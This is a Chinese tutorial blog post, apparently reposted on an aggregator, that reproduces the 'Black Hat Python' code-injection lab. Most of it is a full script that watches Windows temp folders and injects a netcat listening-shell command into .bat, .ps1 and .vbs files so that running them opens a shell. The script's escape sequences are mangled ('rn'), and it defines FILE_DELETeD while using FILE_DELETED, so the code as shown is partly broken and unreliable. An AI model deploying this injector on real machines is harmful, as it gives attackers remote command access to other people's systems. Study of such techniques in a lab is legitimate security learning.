栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

python渗透测试入门之代码注入

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

python渗透测试入门之代码注入

近期收到了电子工业出版社赠送的一本网络安全书籍《python黑帽子》,书中一共24个实验,今天复现第23个实验( 代码注入),我的测试环境是windows10虚拟机(64位)+conda开发环境+python3.7,这个实验是基于模拟受害服务程序,直接能够弹一个shell出来,如果不基于模拟受害服务程序,双击vbs文件也能达到相同的效果,还有一点需要注意的是下载增强版的nc哦,否则无法反弹shell的哟~

1、先运行文件监控脚本,这个脚本会监控temp目录,并且会对vbs文件进行代码注入,这个vbs文件需要一个进程来启动,才能实现代码注入,如果没有这个模拟受害者服务程序,则可以在temp目录下新建一个vbs文件,然后双击它,达到同样的效果~

2、等待大约1分钟左右,或者双击vbs文件,就可以实现反弹shell,但是需要注意的是,你下载的nc程序,必须支持反弹shell,否则也拿不到shell的~

弱弱的nc,看到下面这个就说明成功了,增强版的nc,可以反弹shell

参考代码:

# -*- coding: utf-8 -*-
# @Time    : 2022/6/28 9:02 PM
# @Author  : ailx10
# @File    : file_monitor.py

import os
import tempfile
import threading
import win32con
import win32file

FILE_CREATED = 1
FILE_DELETeD = 2
FILE_MODIFIED = 3
FILE_RENAMED_FROM = 4
FILE_RENAMED_TO = 5

FILE_LIST_DIRECTORY = 0x0001

NETCAT = 'C:\Users\ailx10\Desktop\netcat-win32-1.12\nc.exe'
CMD = f'{NETCAT} -p 9999 -l -c '

FILE_TYPES = {
    '.bat': ["rnREM bhpmarkerrn", f'rn{CMD}rn'],
    '.ps1': ["rn#bhpmarkerrn", f'rnStart-Process "{CMD}"rn'],
    '.vbs': ["rn'bhpmarkerrn", f'rnCreateObject("Wscript.Shell").Run("{CMD}")rn'],
}

PATHS = ['c:\Windows\Temp', tempfile.gettempdir()]

def inject_code(full_filename, contents, extension):
    if FILE_TYPES[extension][0].strip() in contents:
        return
    
    full_contents = FILE_TYPES[extension][0]
    full_contents += FILE_TYPES[extension][1]
    full_contents += contents
    with open(full_filename, 'w') as f:
        f.write(full_contents)
    print('\o/ Injected Code')

def monitor(path_to_watch):
    h_directory = win32file.CreateFile(
        path_to_watch,
        FILE_LIST_DIRECTORY,
        win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETe,
        None,
        win32con.OPEN_EXISTING,
        win32con.FILE_FLAG_BACKUP_SEMANTICS,
        None
        )

    while True:
        try:
            results = win32file.ReadDirectoryChangesW(
                h_directory,
                1024,
                True,
                win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES |
                win32con.FILE_NOTIFY_CHANGE_DIR_NAME |
                win32con.FILE_NOTIFY_CHANGE_FILE_NAME |
                win32con.FILE_NOTIFY_CHANGE_LAST_WRITE |
                win32con.FILE_NOTIFY_CHANGE_SECURITY |
                win32con.FILE_NOTIFY_CHANGE_SIZE,
                None,
                None
            )
            for action, file_name in results:
                full_filename = os.path.join(path_to_watch, file_name)
                if action == FILE_CREATED:
                    print(f'[+] Created {full_filename}')
                   
                elif action == FILE_DELETED:
                    print(f'[-] Deleted {full_filename}')
                    
                elif action == FILE_MODIFIED:
                    print(f'[*] Modified {full_filename}')
                    extension = os.path.splitext(full_filename)[1]
                    if extension in FILE_TYPES:     
                        try:
                            with open(full_filename) as f:
                                contents = f.read()
                            print('[vvv] Dumping contents ... ') 
                            inject_code(full_filename, contents, extension)
                            # print(contents)
                            print('[^^^] Dump complete.')
                        except Exception as e:
                            print(f'[!!!] Dump failed. {e}')
                    
                elif action == FILE_RENAMED_FROM:
                    print(f'[>] Renamed from {full_filename}')
                elif action == FILE_RENAMED_TO:
                    print(f'[<] Renamed to {full_filename}')
                else:
                    print(f'[?] Unknown action on {full_filename}')
        except KeyboardInterrupt:
            break
    
        except Exception:
            pass
    


if __name__ == '__main__':
    for path in PATHS:
        monitor_thread = threading.Thread(target=monitor, args=(path,))
        monitor_thread.start()

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/1005260.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号